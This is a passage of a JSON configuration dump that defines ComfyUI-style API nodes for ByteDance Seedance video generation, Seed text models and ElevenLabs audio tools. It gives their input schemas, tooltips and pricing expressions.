["480p", "720p", "1080p", "4k"]}], "ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video.", "default": "adaptive", "multiselect": false, "options": ["16:9", "4:3", "1:1", "3:4", "9:16", "21:9", "adaptive"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds (4-15).", "default": 7, "min": 4, "max": 15, "step": 1, "display": "slider"}], "generate_audio": ["BOOLEAN", {"tooltip": "Enable audio generation for the output video.", "default": true}], "reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9"], "min": 0}}], "reference_videos": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_video": ["VIDEO", {}]}}, "names": ["video_1", "video_2", "video_3"], "min": 0}}], "reference_audios": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_audio": ["AUDIO", {}]}}, "names": ["audio_1", "audio_2", "audio_3"], "min": 0}}], "reference_assets": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_asset": ["STRING", {"forceInput": true, "multiline": false}]}}, "names": ["asset_1", "asset_2", "asset_3", "asset_4", "asset_5", "asset_6", "asset_7", "asset_8", "asset_9"], "min": 0}}]}, "optional": {"auto_downscale": ["BOOLEAN", {"tooltip": "Automatically downscale reference videos that exceed the model's pixel budget for the selected resolution. Aspect ratio is preserved; videos already within limits are untouched.", "default": true}], "auto_upscale": ["BOOLEAN", {"tooltip": "Automatically upscale reference videos that are below the model's minimum pixel count for the selected resolution. Aspect ratio is preserved; videos already meeting the minimum are untouched. Note: upscaling a low-resolution source does not add real detail and may produce lower-quality generations.", "advanced": true, "default": false}]}}}, {"key": "Seedance 2.0 Fast", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for video generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["480p", "720p"]}], "ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video.", "default": "adaptive", "multiselect": false, "options": ["16:9", "4:3", "1:1", "3:4", "9:16", "21:9", "adaptive"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds (4-15).", "default": 7, "min": 4, "max": 15, "step": 1, "display": "slider"}], "generate_audio": ["BOOLEAN", {"tooltip": "Enable audio generation for the output video.", "default": true}], "reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9"], "min": 0}}], "reference_videos": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_video": ["VIDEO", {}]}}, "names": ["video_1", "video_2", "video_3"], "min": 0}}], "reference_audios": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_audio": ["AUDIO", {}]}}, "names": ["audio_1", "audio_2", "audio_3"], "min": 0}}], "reference_assets": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_asset": ["STRING", {"forceInput": true, "multiline": false}]}}, "names": ["asset_1", "asset_2", "asset_3", "asset_4", "asset_5", "asset_6", "asset_7", "asset_8", "asset_9"], "min": 0}}]}, "optional": {"auto_downscale": ["BOOLEAN", {"tooltip": "Automatically downscale reference videos that exceed the model's pixel budget for the selected resolution. Aspect ratio is preserved; videos already within limits are untouched.", "default": true}], "auto_upscale": ["BOOLEAN", {"tooltip": "Automatically upscale reference videos that are below the model's minimum pixel count for the selected resolution. Aspect ratio is preserved; videos already meeting the minimum are untouched. Note: upscaling a low-resolution source does not add real detail and may produce lower-quality generations.", "advanced": true, "default": false}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add a watermark to the video.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDance2ReferenceNode", "display_name": "ByteDance Seedance 2.0 Reference to Video", "description": "Generate, edit, or extend video using Seedance 2.0 with reference images, videos, and audio. Supports multimodal reference, video editing, and video extension.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/video/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": ["model.reference_videos"]}, "expr": "\n (\n $rate480 := 10044;\n $rate720 := 21600;\n $rate1080 := 48800;\n $rate4k := 195200;\n $m := widgets.model;\n $hasVideo := $lookup(inputGroups, \"model.reference_videos\") > 0;\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $noVideoPricePer1K := $res = \"4k\" ? 0.00572 :\n $res = \"1080p\" ? 0.011011 :\n $contains($m, \"fast\") ? 0.008008 : 0.01001;\n $videoPricePer1K := $res = \"4k\" ? 0.003432 :\n $res = \"1080p\" ? 0.006721 :\n $contains($m, \"fast\") ? 0.004719 : 0.006149;\n $rate := $res = \"4k\" ? $rate4k :\n $res = \"1080p\" ? $rate1080 :\n $res = \"720p\" ? $rate720 :\n $rate480;\n $noVideoCost := $dur * $rate * $noVideoPricePer1K / 1000;\n $minVideoFactor := $ceil($dur * 5 / 3);\n $minVideoCost := $minVideoFactor * $rate * $videoPricePer1K / 1000;\n $maxVideoCost := (15 + $dur) * $rate * $videoPricePer1K / 1000;\n $hasVideo\n ? {\n \"type\": \"range_usd\",\n \"min_usd\": $minVideoCost,\n \"max_usd\": $maxVideoCost,\n \"format\": {\"approximate\": true}\n }\n : {\n \"type\": \"usd\",\n \"usd\": $noVideoCost,\n \"format\": {\"approximate\": true}\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceCreateImageAsset": {"input": {"required": {"image": ["IMAGE", {"tooltip": "Image to register as a personal asset."}], "group_id": ["STRING", {"tooltip": "Reuse an existing Seedance asset group ID to skip repeated human verification for the same person. Leave empty to run real-person authentication in the browser and create a new group.", "default": "", "multiline": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"]}}, "input_order": {"required": ["image", "group_id"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id"]}, "is_input_list": false, "output": ["STRING", "STRING"], "output_is_list": [false, false], "output_name": ["asset_id", "group_id"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "ByteDanceCreateImageAsset", "display_name": "ByteDance Create Image Asset", "description": "Create a Seedance 2.0 personal image asset. Uploads the input image and registers it in the given asset group. If group_id is empty, runs a real-person H5 authentication flow to create a new group before adding the asset.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/image/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceCreateVideoAsset": {"input": {"required": {"video": ["VIDEO", {"tooltip": "Video to register as a personal asset."}], "group_id": ["STRING", {"tooltip": "Reuse an existing Seedance asset group ID to skip repeated human verification for the same person. Leave empty to run real-person authentication in the browser and create a new group.", "default": "", "multiline": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"]}}, "input_order": {"required": ["video", "group_id"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id"]}, "is_input_list": false, "output": ["STRING", "STRING"], "output_is_list": [false, false], "output_name": ["asset_id", "group_id"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "ByteDanceCreateVideoAsset", "display_name": "ByteDance Create Video Asset", "description": "Create a Seedance 2.0 personal video asset. Uploads the input video and registers it in the given asset group. If group_id is empty, runs a real-person H5 authentication flow to create a new group before adding the asset.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/video/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceSeedNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text input to the model.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The Seed model used to generate the response.", "options": [{"key": "Seed 2.0 Pro", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional image(s) to use as context for the model. Up to 20 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}], "videos": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional video(s) to use as context for the model. Up to 4 videos.", "template": {"input": {"required": {"video": ["VIDEO", {}]}}, "names": ["video_1", "video_2", "video_3", "video_4"], "min": 0}}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. 0.0 is deterministic, higher values are more random.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.01}]}}}, {"key": "Seed 2.0 Lite", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional image(s) to use as context for the model. Up to 20 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}], "videos": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional video(s) to use as context for the model. Up to 4 videos.", "template": {"input": {"required": {"video": ["VIDEO", {}]}}, "names": ["video_1", "video_2", "video_3", "video_4"], "min": 0}}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. 0.0 is deterministic, higher values are more random.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.01}]}}}, {"key": "Seed 2.0 Mini", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional image(s) to use as context for the model. Up to 20 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}], "videos": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional video(s) to use as context for the model. Up to 4 videos.", "template": {"input": {"required": {"video": ["VIDEO", {}]}}, "names": ["video_1", "video_2", "video_3", "video_4"], "min": 0}}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. 0.0 is deterministic, higher values are more random.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.01}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate the model's behavior.", "advanced": true, "default": "", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "optional": ["system_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDanceSeedNode", "display_name": "ByteDance Seed", "description": "Generate text responses with ByteDance's Seed 2.0 models. Provide a text prompt and optionally one or more images or videos for multimodal context.", "python_module": "comfy_api_nodes.nodes_bytedance_llm", "category": "partner/text/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $contains($m, \"mini\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.00025, 0.0009],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"lite\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.0003, 0.002],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"pro\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.0005, 0.003],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : {\"type\":\"text\", \"text\":\"Token-based\"}\n )\n "}, "search_aliases": null, "essentials_category": "Text Generation", "has_intermediate_output": false}, "ElevenLabsSpeechToText": {"input": {"required": {"audio": ["AUDIO", {"tooltip": "Audio to transcribe."}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for transcription.", "options": [{"key": "scribe_v2", "inputs": {"required": {"tag_audio_events": ["BOOLEAN", {"tooltip": "Annotate sounds like (laughter), (music), etc. in transcript.", "default": false}], "diarize": ["BOOLEAN", {"tooltip": "Annotate which speaker is talking.", "default": false}], "diarization_threshold": ["FLOAT", {"tooltip": "Speaker separation sensitivity. Lower values are more sensitive to speaker changes.", "default": 0.22, "min": 0.1, "max": 0.4, "step": 0.01, "display": "slider"}], "temperature": ["FLOAT", {"tooltip": "Randomness control. 0.0 uses model default. Higher values increase randomness.", "default": 0.0, "min": 0.0, "max": 2.0, "step": 0.01, "display": "slider"}], "timestamps_granularity": ["COMBO", {"tooltip": "Timing precision for transcript words.", "default": "word", "multiselect": false, "options": ["word", "character", "none"]}]}}}]}], "language_code": ["STRING", {"tooltip": "ISO-639-1 or ISO-639-3 language code (e.g., 'en', 'es', 'fra'). Leave empty for automatic detection.", "default": "", "multiline": false}], "num_speakers": ["INT", {"tooltip": "Maximum number of speakers to predict. Set to 0 for automatic detection.", "default": 0, "min": 0, "max": 32, "display": "slider"}], "seed": ["INT", {"tooltip": "Seed for reproducibility (determinism not guaranteed).", "default": 1, "min": 0, "max": 2147483647}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["audio", "model", "language_code", "num_speakers", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["text", "language_code", "words_json"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "ElevenLabsSpeechToText", "display_name": "ElevenLabs Speech to Text", "description": "Transcribe audio to text. Supports automatic language detection, speaker diarization, and audio event tagging.", "python_module": "comfy_api_nodes.nodes_elevenlabs", "category": "partner/audio/ElevenLabs", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.0073,\"format\":{\"approximate\":true,\"suffix\":\"/minute\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ElevenLabsVoiceSelector": {"input": {"required": {"voice": ["COMBO", {"tooltip": "Choose a voice from the predefined ElevenLabs voices.", "multiselect": false, "options": ["Roger (male, american)", "Sarah (female, american)", "Laura (female, american)", "Charlie (male, australian)", "George (male, british)", "Callum (male, american)", "River (neutral, american)", "Harry (male, american)", "Liam (male, american)", "Alice (female, british)", "Matilda (female, american)", "Will (male, american)", "Jessica (female, american)", "Eric (male, american)", "Bella (female, american)", "Chris (male, american)", "Brian (male, american)", "Daniel (male, british)", "Lily (female, british)", "Adam (male, american)", "Bill (male, american)"]}]}}, "input_order": {"required": ["voice"]}, "is_input_list": false, "output": ["ELEVENLABS_VOICE"], "output_is_list": [false], "output_name": ["voice"], "output_tooltips": [null], "output_matchtypes": null, "name": "ElevenLabsVoiceSelector", "display_name": "ElevenLabs Voice Selector", "description": "Select a predefined ElevenLabs voice for text-to-speech generation.", "python_module": "comfy_api_nodes.nodes_elevenlabs", "category": "partner/audio/ElevenLabs", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ElevenLabsTextToSpeech": {"input": {"required": {"voice": ["ELEVENLABS_VOICE", {"tooltip": "Voice to use for speech synthesis. Connect from Voice Selector or Instant Voice Clone."}], "text": ["STRING", {"tooltip": "The text to convert to speech.", "default": "", "multiline": true}], "stability": ["FLOAT", {"tooltip": "Voice stability. Lower values give broader emotional range, higher values produce more consistent but potentially monotonous speech.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}], "apply_text_normalization": ["COMBO", {"tooltip": "Text normalization mode. 'auto' lets the system decide, 'on' always applies normalization, 'off' skips it.", "multiselect": false, "options": ["auto", "on", "off"]}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for text-to-speech.", "options": [{"key": "eleven_multilingual_v2", "inputs": {"required": {"speed": ["FLOAT", {"tooltip": "Speech speed. 1.0 is normal, <1.0 slower, >1.0 faster.", "default": 1.0, "min": 0.7, "max": 1.3, "step": 0.01, "display": "slider"}], "similarity_boost": ["FLOAT", {"tooltip": "Similarity boost. Higher values make the voice more similar to the original.", "default": 0.75, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}], "use_speaker_boost": ["BOOLEAN", {"tooltip": "Boost similarity to the original speaker voice.", "default": false}], "style": ["FLOAT", {"tooltip": "Style exaggeration. Higher values increase stylistic expression but may reduce stability.", "default": 0.0, "min": 0.0, "max": 0.2, "step": 0.01, "display": "slider"}]}}}, {"key": "eleven_v3", "inputs": {"required": {"speed": ["FLOAT", {"tooltip": "Speech speed. 1.0 is normal, <1.0 slower, >1.0 faster.", "default": 1.0, "min": 0.7, "max": 1.3, "step": 0.01, "display": "slider"}], "similarity_boost": ["FLOAT", {"tooltip": "Similarity boost. Higher values make the voice more similar to the original.", "default": 0.75, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}]}}}]}], "language_code": ["STRING", {"tooltip": "ISO-639-1 or ISO-639-3 language code (e.g., 'en', 'es', 'fra'). Leave empty for automatic detection.", "default": "", "multiline": false}], "seed": ["INT", {"tooltip": "Seed for reproducibility (determinism not guaranteed).", "default": 1, "min": 0, "max": 2147483647}], "output_format": ["COMBO", {"tooltip": "Audio output format.", "multiselect": false, "options": ["mp3_44100_192", "opus_48000_192"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["voice", "text", "stability", "apply_text_normalization", "model", "language_code", "seed", "output_format"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ElevenLabsTextToSpeech", "display_name": "ElevenLabs Text to Speech", "description": "Convert text to speech.", "python_module": "comfy_api_nodes.nodes_elevenlabs", "category": "partner/audio/ElevenLabs", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.24,\"format\":{\"approximate\":true,\"suffix\":\"/1K chars\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ElevenLabsAudioIsolation": {"input": {"required": {"audio": ["AUDIO", {"tooltip": "Audio to process for background noise removal."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ElevenLabsAudioIsolation", "display_name": "ElevenLabs Voice Isolation", "description": "Remove background noise from audio, isolating vocals or speech.", "python_module": "comfy_api_nodes.nodes_elevenlabs", "category": "partner/audio/ElevenLabs", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.24,\"format\":{\"approximate\":true,\"suffix\":\"/minute\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ElevenLabsTextToSoundEffects": {"input": {"required": {"text": ["STRING", {"tooltip": "Text description of the sound effect to generate.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for sound effect generation.", "options": [{"key": "eleven_sfx_v2", "inputs": {"required": {"duration": ["FLOAT", {"tooltip": "Duration of generated sound in seconds.", "default": 5.0, "min": 0.5, "max": 30.0, "step": 0.1, "display": "slider"}], "loop": ["BOOLEAN", {"tooltip": "Create a smoothly looping sound effect.", "default": false}], "prompt_influence": ["FLOAT", {"tooltip": "How closely generation follows the prompt. Higher values make the sound follow the text more closely.", "default": 0.3, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}]}}}]}], "output_format": ["COMBO", {"tooltip": "Audio output format.", "multiselect": false, "options": ["mp3_44100_192", "opus_48000_192"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["text", "model", "output_format"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ElevenLabsTextToSoundEffects", "display_name": "ElevenLabs Text to Sound Effects", "description": "Generate sound effects from text descriptions.", "python_module": "comfy_api_nodes.nodes_elevenlabs", "category": "partner/audio/ElevenLabs", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.14,\"format\":{\"approximate\":true,\"suffix\":\"/minute\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ElevenLabsInstantVoiceClone": {"input": {"required": {"files": ["COMFY_AUTOGROW_V3", {"tooltip": "Audio recordings for voice cloning.", "template": {"input": {"required": {"audio": ["AUDIO", {}]}}, "prefix": "audio", "min": 1, "max": 8}}], "remove_background_noise": ["BOOLEAN", {"tooltip": "Remove background noise from voice samples using audio isolation.", "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["files", "remove_background_noise"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["ELEVENLABS_VOICE"], "output_is_list": [false], "output_name": ["voice"], "output_tooltips": [null], "output_matchtypes": null, "name": "ElevenLabsInstantVoiceClone", "display_name": "ElevenLabs Instant Voice Clone", "description": "Create a cloned voice from audio samples. Provide 1-8 audio recordings of the voice to clone.", "python_module": "comfy_api_nodes.nodes_elevenlabs", "category": "partner/audio/ElevenLabs", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.15}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ElevenLabsSpeechToSpeech": {"input": {"required": {"voice": ["ELEVENLABS_VOICE", {"tooltip": "Target voice for the transformation. Connect from Voice Selector or Instant Voice Clone."}], "audio": ["AUDIO", {"tooltip": "Source audio to transform."}], "stability": ["FLOAT", {"tooltip": "Voice stability. Lower values give broader emotional range, higher values produce more consistent but potentially monotonous speech.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for speech-to-speech transformation.", "options": [{"key": "eleven_multilingual_sts_v2", "inputs": {"required": {"speed": ["FLOAT", {"tooltip": "Speech speed. 1.0 is normal, <1.0 slower, >1.0 faster.", "default": 1.0, "min": 0.7, "max": 1.3, "step": 0.01, "display": "slider"}], "similarity_boost": ["FLOAT", {"tooltip": "Similarity boost. Higher values make the voice more similar to the original.", "default": 0.75, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}], "use_speaker_boost": ["BOOLEAN", {"tooltip": "Boost similarity to the original speaker voice.", "default": false}], "style": ["FLOAT", {"tooltip": "Style exaggeration. Higher values increase stylistic expression but may reduce stability.", "default": 0.0, "min": 0.0, "max": 0.2, "step": 0.01, "display": "slider"}]}}}, {"key": "eleven_english_sts_v2", "inputs": {"required": {"speed": ["FLOAT", {"tooltip": "Speech speed. 1.0 is normal, <1.0 slower, >1.0 faster.", "default": 1.0, "min": 0.7, "max": 1.3, "step": 0.01, "display": "slider"}], "similarity_boost": ["FLOAT", {"tooltip": "Similarity boost. Higher values make the voice more similar to the original.", "default": 0.75, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}], "use_speaker_boost": ["BOOLEAN", {"tooltip": "Boost similarity to the original speaker voice.", "default": false}], "style": ["FLOAT", {"tooltip": "Style exaggeration. Higher values increase stylistic expression but may reduce stability.", "default": 0.0, "min": 0.0, "max": 0.2, "step": 0.01, "display": "slider"}]}}}]}], "output_format": ["COMBO", {"tooltip": "Audio output format.", "multiselect": false, "options": ["mp3_44100_192", "opus_48000_192"]}], "seed": ["INT", {"tooltip": "Seed for reproducibility.", "default": 0, "min": 0, "max": 4294967295}], "remove_background_noise": ["BOOLEAN", {"tooltip": "Remove background noise from input audio using audio isolation.", "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["voice", "audio", "stability", "model", "output_format", "seed", "remove_background_noise"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ElevenLabsSpeechToSpeech", "display_name": "ElevenLabs Speech to Speech", "description": "Transform speech from one voice to another while preserving the original content and emotion.", "python_module": "comfy_api_nodes.nodes_elevenlabs", "category": "partner/audio/ElevenLabs", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.24,\"format\":{\"approximate\":true,\"suffix\":\"/minute\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ElevenLabsTextToDialogue": {"input": {"required": {"stability": ["FLOAT", {"tooltip": "Voice stability. Lower values give broader emotional range, higher values produce more consistent but potentially monotonous speech.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.5, "display": "slider"}], "apply_text_normalization": ["COMBO", {"tooltip": "Text normalization mode. 'auto' lets the system decide, 'on' always applies normalization, 'off' skips it.", "multiselect": false, "options": ["auto", "on", "off"]}], "model": ["COMBO", {"tooltip": "Model to use for dialogue generation.", "multiselect": false, "options": ["eleven_v3"]}], "inputs": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Number of dialogue entries.", "options": [{"key": "1", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "2", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 